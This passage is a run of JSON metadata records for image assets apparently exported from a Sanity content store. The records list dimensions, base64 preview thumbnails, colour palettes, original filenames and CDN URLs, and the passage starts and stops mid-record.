AAAAAAAQACEQMSMf/aAAwDAQACEQMRAD8Au/NjgLXCJBHIHijDzRsO2+guv7TiXkWMyE9uxvI7czS7YP1vf1Svg1hb8ozGQu8rGGlhkEKePQAA/NdPf+l/H2t2f2pCyt57Zt90ZsVfJE157lsk/Di7LS27RvHvQYHo/qituP5GRLWaFUUJDM0aADWgAKKacLJuwzYH5P/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#452d1e","foreground":"#fff","population":3.96,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#643f2d","foreground":"#fff","population":7.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#643f2d","foreground":"#fff","population":7.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cab4a8","foreground":"#000","population":5.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0c0df","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7361","foreground":"#fff","population":3.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c3363a","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"a681e5da946d265101b72ef176080d4e3ff84575-2000x1333.jpg","path":"images/sczeoy4w/production/a681e5da946d265101b72ef176080d4e3ff84575-2000x1333.jpg","sha1hash":"a681e5da946d265101b72ef176080d4e3ff84575","size":1332933,"uploadId":"LEhZhvjpb7UhDHWMCoEWqmjmLhqJ4LEV","url":"https://cdn.sanity.io/images/sczeoy4w/production/a681e5da946d265101b72ef176080d4e3ff84575-2000x1333.jpg"} {"_createdAt":"2022-09-30T16:43:56Z","_id":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_rev":"vDQRRYe9nRreptIRp5rwfH","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T16:43:56Z","assetId":"a6986b9686ecfc60ff6884f53bf19d7e11464e45","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":600,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMI/8QAGhAAAwEAAwAAAAAAAAAAAAAAAAERAwISIf/EABUBAQEAAAAAAAAAAAAAAAAAAAAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A0mTy0WnaLko56oUBaQAAf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#202078","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93969b","foreground":"#fff","population":0.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcbc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#93969b","foreground":"#fff","population":0.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"placeholder.jpg","path":"images/sczeoy4w/production/a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600.jpg","sha1hash":"a6986b9686ecfc60ff6884f53bf19d7e11464e45","size":6329,"uploadId":"Uwm1fB99sn34zmNtg6hcbONLHA8jcHlC","url":"https://cdn.sanity.io/images/sczeoy4w/production/a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600.jpg"} {"_createdAt":"2022-09-30T15:37:02Z","_id":"image-a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c-4032x2692-jpg","_rev":"8WeirZ6KB9gJqgJfviQCv3","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:37:02Z","assetId":"a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VI96npKPNb#kA9F*,.s=E+#mrzNxbdw{N_tDf.WWf3WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4977711738484398,"height":2692,"width":4032},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFB//EACEQAAICAgICAwEAAAAAAAAAAAECAwQAEQUSITEGExQz/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwAF/8QAHhEAAgICAgMAAAAAAAAAAAAAAQIAAwQRIVFBkaH/2gAMAwEAAhEDEQA/AMOoXTL8ZnqSxd7LsNFRs9cQijsbij/HHMVAJL+8R4zmbtb+MvUqhVTr0MvcDb7zM9hPtd4/JJ1mpbmlFFpYk9fPO42HjC+1aV43Jdq9KsxU1aqEeNADDEOSlDXZCsaqN6AwyOXaTsOfUJqwrFep/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394b44","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131569","foreground":"#fff","population":7.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131569","foreground":"#fff","population":7.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a69dc4","foreground":"#000","population":1.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c54fc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab8673","foreground":"#fff","population":1.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b11e3","foreground":"#fff","population":5.29,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c-4032x2692.jpg","path":"images/sczeoy4w/production/a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c-4032x2692.jpg","sha1hash":"a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c","size":1810882,"uploadId":"pDpAc9kcbkRtQZAfHBBleH48XBHy21B7","url":"https://cdn.sanity.io/images/sczeoy4w/production/a69cafa2eb4dd8da5bd273bdad33a5b9f4cc0c1c-4032x2692.jpg"} {"_createdAt":"2022-09-07T06:39:04Z","_id":"image-a70f2e672397cc99a1c21eae64ce039b6c0868ab-1129x568-jpg","_rev":"XMqVxILwpPMz4xYxc8FJ6p","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:14Z","assetId":"a70f2e672397cc99a1c21eae64ce039b6c0868ab","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5SidJ*Jx]?cbK_ND*H@.RNG?IR+W;xuMe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9876760563380282,"height":568,"width":1129},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBQj/xAAeEAACAgICAwAAAAAAAAAAAAABAgADBBESISJRcf/EABUBAQEAAAAAAAAAAAAAAAAAAAEA/8QAGBEBAQADAAAAAAAAAAAAAAAAAAIBETH/2gAMAwEAAhEDEQA/ANOtWwqKs7EezA5IoqAc746BMc1K3F8s7ODdjY6PyPTMp0qdgWFnTHcIzUAEGhCC3l//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#666565","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#144464","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#707b88","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74bcf4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#707b88","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e94583","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"a70f2e672397cc99a1c21eae64ce039b6c0868ab-1129x568.jpg","path":"images/sczeoy4w/production/a70f2e672397cc99a1c21eae64ce039b6c0868ab-1129x568.jpg","sha1hash":"a70f2e672397cc99a1c21eae64ce039b6c0868ab","size":253893,"uploadId":"N8OC2C2eG9r0Mj11viocJv0ftfkTyPRF","url":"https://cdn.sanity.io/images/sczeoy4w/production/a70f2e672397cc99a1c21eae64ce039b6c0868ab-1129x568.jpg"} {"_createdAt":"2023-03-14T17:26:28Z","_id":"image-a71b963f5f098076a3cdd4cc21251d0a6ac30b69-1482x454-png","_rev":"gcD1R1ikevSB5oEjnPi0Ef","_type":"sanity.imageAsset","_updatedAt":"2023-03-14T17:27:09Z","altText":null,"assetId":"a71b963f5f098076a3cdd4cc21251d0a6ac30b69","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.26431718061674,"height":454,"width":1482},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0ElEQVQYlX2Ny26DMBBF+f9v6yKsWDTlZZQQ/J4xYwYsNzLJKlJ7NjM6ule3+v2bnPNxHM45YwwiOue01oiYUnoFqv/L+75rreeT9qdtmkaMgohyzp/ll/pYBgBjjLV2WZZ5no0xzPxeTikdJ+XhY8UVEALRXlTxzExEWIAY4xY3IiqHuQIAdxIweOunYbq21+F2s86vtG7bxswxRgDwvmS01OMwdOMo7o9KSnk/UUopqaZx6vquF2J+LNbaEMJ6EkLAgN550Yv6Un/Vl7r5fgK2CVbZ5in3TwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373737","foreground":"#fff","population":1.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#72126c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f80","foreground":"#fff","population":2.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdbe","foreground":"#000","population":1.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcecfb","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f80","foreground":"#fff","population":2.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc22d0","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ordering-single-producer.png","path":"images/sczeoy4w/production/a71b963f5f098076a3cdd4cc21251d0a6ac30b69-1482x454.png","sha1hash":"a71b963f5f098076a3cdd4cc21251d0a6ac30b69","size":52650,"title":null,"uploadId":"0ptZz6AUHbEwgQHoPW20q6BxioYye5F8","url":"https://cdn.sanity.io/images/sczeoy4w/production/a71b963f5f098076a3cdd4cc21251d0a6ac30b69-1482x454.png"} {"_createdAt":"2023-11-09T14:09:04Z","_id":"image-a720b97f85282a07344d90f4951575672aac7293-193x72-svg","_rev":"GbS5khjKNQiBycxvWsNqVD","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T14:09:04Z","assetId":"a720b97f85282a07344d90f4951575672aac7293","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6805555555555554,"height":72,"width":193},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABG0lEQVQokWWSTSuEYRiFXx+TbxIKkc+UcmZESFKumShKk0J+gJVkyYqFbC0slR0bP/IM3bmHJovzPF113vvjPG9hVDQoF3E39Z/jLrdwi6eaQkUcJaNBox6jNqMOowGjPqP2VH+qIz296elM7k4uRcE1owujmtGY0YLRqdGR0YTRtFHd6MRoxmjc6NDozGjJaNho2WgzOApeGX0aPRmV0/xu9GK0YbRr9Gr0ZrRntG70bPRhdJwDHBidxxBRMLo/Gl0azWane6ObnGDF6NboLhsuGl0bPRht5xY7OchOFIw1540mM4vIcy5Xjawiy1g1FDlG1lPpGTLqMhrN70d+Xq1aKb7qW3+vGLy/2sq1yi9/1daKRvDe35/Q1DfwatrwT8V1JgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#50303c","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95070b","foreground":"#fff","population":0.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#95070b","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#93050d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f84b55","foreground":"#fff","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a35d5d","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f14514","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"stars-four.svg","path":"images/sczeoy4w/production/a720b97f85282a07344d90f4951575672aac7293-193x72.svg","sha1hash":"a720b97f85282a07344d90f4951575672aac7293","size":1269,"uploadId":"rFVXqfnBop1xlxRSC4MtyLEzmRSoTA3J","url":"https://cdn.sanity.io/images/sczeoy4w/production/a720b97f85282a07344d90f4951575672aac7293-193x72.svg"} {"_createdAt":"2023-10-19T12:19:51Z","_id":"image-a75c9ee4c20d71d63578ebd431e6566e72092bcd-512x512-jpg","_rev":"zE08g5Yj02ino50zLdlqdi","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T12:20:34Z","altText":"Cara portrait","assetId":"a75c9ee4c20d71d63578ebd431e6566e72092bcd","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIOM{Z00P;?arD00I9tRx]t8%$-=%1M{MwtRtRt8RjRiIoWBxaofR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAUGAgT/xAAkEAABBAEDBAMBAAAAAAAAAAABAAIDBBEFBkETISIyEjFhcf/EABcBAQEBAQAAAAAAAAAAAAAAAAEEAgP/xAAaEQADAAMBAAAAAAAAAAAAAAAAAQISEzEh/9oADAMBAAIRAxEAPwC3uHVbMlOSqHkCUhhAOMjkLbbC0WjTp1rOnVei94xI4H2H6pFrZdrUYI5jI2Jz/Jgx3C2+3qIpwUKoJLogfmOP6uVKlfpRGOplrpovUYyD9ZRUEhOogPpeXA7LvRW5fbeSS4OwM8Iib6jUcZXj9QiIgD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6f4f42","foreground":"#fff","population":5.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a2932","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f4f42","foreground":"#fff","population":5.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9b8b9","foreground":"#000","population":4.88,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e49cac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7463","foreground":"#fff","population":3.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b45c6c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"Cara.jpe.jpg","path":"images/sczeoy4w/production/a75c9ee4c20d71d63578ebd431e6566e72092bcd-512x512.jpg","sha1hash":"a75c9ee4c20d71d63578ebd431e6566e72092bcd","size":31190,"title":"Cara portrait","uploadId":"MsC46cuNXIvh44RI85AeyKGJyJzemK8P","url":"https://cdn.sanity.io/images/sczeoy4w/production/a75c9ee4c20d71d63578ebd431e6566e72092bcd-512x512.jpg"} {"_createdAt":"2024-02-19T16:19:20Z","_id":"image-a76b0ba74e9b2564ca6f9fbf9e65557af5bd9e38-6000x4000-webp","_rev":"AhQsd13Ciq0lSu1FlX3qlz","_type":"sanity.imageAsset","_updatedAt":"2024-02-19T16:19:20Z","assetId":"a76b0ba74e9b2564ca6f9fbf9e65557af5bd9e38","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"V45q*HrCITR-V?PXnMrWt8niNKg3rpS%NyWBX9adaxSi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBAYI/8QAIRAAAgIBBAIDAAAAAAAAAAAAAQIDEQAEBSExEiNBUZH/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//EABwRAAEFAAMAAAAAAAAAAAAAAAIAAQMRIQQSE//aAAwDAQACEQMRAD8A5/2mxOiRSjxvmj2MdRalTOY5IqB6bM7tqewc8t8jisnJ5pKwEjUD+5MZiB6FVk47SaSv6zbmknZoWUIeh9YYp1EjrJSswFX3hj7M+0j5k2Wv/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4150","foreground":"#fff","population":5.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e4121","foreground":"#fff","population":3.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c4150","foreground":"#fff","population":5.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e482a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9b99f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#898469","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b67847","foreground":"#fff","population":1.51,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Casestudyimage.webp","path":"images/sczeoy4w/production/a76b0ba74e9b2564ca6f9fbf9e65557af5bd9e38-6000x4000.webp","sha1hash":"a76b0ba74e9b2564ca6f9fbf9e65557af5bd9e38","size":640012,"uploadId":"O9sPzWMW9VXPbD99TWKTmsWhSJS24k6m","url":"https://cdn.sanity.io/images/sczeoy4w/production/a76b0ba74e9b2564ca6f9fbf9e65557af5bd9e38-6000x4000.webp"} {"_createdAt":"2022-06-17T08:37:29Z","_id":"image-a77705510fbb8fe00b31ccbf10beaa1315e3a45f-2500x2500-png","_rev":"oamrAPLmQLQjd9jh7ZwCq6","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:29Z","assetId":"a77705510fbb8fe00b31ccbf10beaa1315e3a45f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eOM$Y[Iu00^P6M9d${XOR.sm00ACUH$f=zbwj]-6RnsA0}oJ-WxWrD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEp0lEQVQ4jV1UfUxVZRh/uTKbmbOYf4jNVdMs0/SSiiZ+NF06a8tiqzVnM9Klc1muuZk6XSrnXL4Mw/C8lysiKFpIhKCAAwOHOktoBCSyZC4RReVL8HK597zn92vnchH1Oed3nrNn7/t7vt73EeIpoSYFdSmgGYP/ttYHbdSNYYTW8ZFdhgieMiKEoG12rGDyIQcT3GPpck+iLt+kLidTly9QlyNsZxjaG3LwGGEI9qIEt+BrywXTcsKpy1ehGXHUjAPUjFzq8iB1uR66nEbNGPlkBo8RIjVLwOUW3JMusHSN4O6fHNyTPomasY0udw0T3F10SS81oweaUU9dxlOXU6lLRzCAUJmG6zToaRR1OZGaMZ3Jh+bTOL6Fh3+t5bGiAE+cJnMKSeMEmZJpUZd11Iy11OXYx6McTlOXY6jLJdSMeCR5cnGkoAiVlxvQ0OzljVay9Q7YchOobbRYWEEezO1kYkYqNeNlfpcyyBN/UATDhC5HQJezqRkeJLhvwZPXjwu1A2jvUBjwA5aFoCiL8A0ArXeIysu9OFLgQUrmFCQfEij6XSD1yGDK0OWz1OVqaMbfTMshz10iO7pIWCQJG4D9sV8CpiLudvShpiELJ89MoxACpMD2hFANEzNGQzO+YIK7CUdP0f/PDcvb64c/YAFWkOMRcZDWFtP0s7WtikVnV+LDuFGY9a7g/ozBGiIt5xnsTY/lvswr/fnn0FR9C9XVPbjW5EVnZ4APHphB9PSY7Ok20dur0PcgQG/zzXbzWGEy12x+hXaEpE1oCCRnRmBP+nqmZjV25p1HWd5/yPDcxuni+6yv7+PVqw+DuqamN4i6uj40Nj7krUstAZ/xcwlXfb2gXQiHnbodYRhc7rmIP3ic+w739OZX4UpFG4qKO3ChuhvXr/ezpaUf1655gyT19UEyNDd7efdisxVI8fzB2LUrfRFvjBwiDIcuY6EZV5jogcorY8/VNt5uG2BXVwA+n4WBAYu2ttHvVfB6FXx9fpgXay3siP8Ln3y0Sm2b99wQoYO6XApdllCXXnp+MVHX5LN8/sBgN0L9DTU71BTwfgeZe9KPLzectzYs+VQVzhmnKmPChgbCi9TlBmjGb/jhcDkrLhSyu7OG5oAXsJ5gDUp3N1B+jti6vR2rV2ZYe2OWmFVvRaj0eWFDt8Q+2OOpG2/D5X4HBcUx+PfPb3Cz7jLutvjYc4/s7SI77xHXm4jiAmDnti58FltmbVq8Th2dM8WsnDkKcUuHrx5lnmCS4WC824HsHSNYuPMlFGkbUZpajnLPHZzN7kO+fIgD33fj27gWrFlRaG1auFnJ6GhV5oxQBU6Hj47hgUp70qRkC240BO1nhXBg14wJSFr0MZKW7cfe9/KxddkpfLXoGDbOc1m75nyusmctVCXOiap05kjLFSPMyhlD4ys0LVwZgrv3CxSnCyWEUGmjw9SBCeOsHyfNtRKnvG/FT/3ASp6+XGVFLVDFUbPMs87JqtQ5RhVFhWHdYqFOO58a/7teF3brVXGksDzRwj79ZkNsuFkd84JZNXe8WRUdaVbOjjQroiaoUmekOuN8XpU4w60t84U64xSq1Cn+B2AgHAoyfFjUAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383772","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7300d","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa849a","foreground":"#000","population":11.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccdc","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa849a","foreground":"#000","population":11.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e4d94","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7542d","foreground":"#fff","population":1.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"catalyst-logo-image-composition.png","path":"images/sczeoy4w/production/a77705510fbb8fe00b31ccbf10beaa1315e3a45f-2500x2500.png","sha1hash":"a77705510fbb8fe00b31ccbf10beaa1315e3a45f","size":143195,"uploadId":"z4HdGDPiZuirzgOgmpHa2NiXUnbbSi20","url":"https://cdn.sanity.io/images/sczeoy4w/production/a77705510fbb8fe00b31ccbf10beaa1315e3a45f-2500x2500.png"} {"_createdAt":"2022-06-16T23:49:33Z","_id":"image-a7a274eab14043631aea56b083909c78f076b2f5-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVPPa","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:33Z","assetId":"a7a274eab14043631aea56b083909c78f076b2f5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSA@A{$R-GF[o$naLayozVt+aJBoexDI@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAwQA/8QAHxAAAgICAgMBAAAAAAAAAAAAAQIDBAAREiEFMUGR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQUGB//EABwRAAICAgMAAAAAAAAAAAAAAAECABEDEgUVQf/aAAwDAQACEQMRAD8AvWpWNIEACXW98sGzPB4zwwnLqJ5ZeB5Jy0mvYyt+4U6H5hTQx2EVJ0DqvYB+ZD9npkDOLE1jLs6Fb9hURXsUoZSHLMu2IGhvebKoY1jjVEUKo9AZsW5eRZnJUUIVLAAXP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960502","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4440","foreground":"#fff","population":7.9,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.93,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Adeo_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/a7a274eab14043631aea56b083909c78f076b2f5-1200x630.jpg","sha1hash":"a7a274eab14043631aea56b083909c78f076b2f5","size":205710,"uploadId":"Riv9foFuKcvKXlJPzCEW570nkH80uVNH","url":"https://cdn.sanity.io/images/sczeoy4w/production/a7a274eab14043631aea56b083909c78f076b2f5-1200x630.jp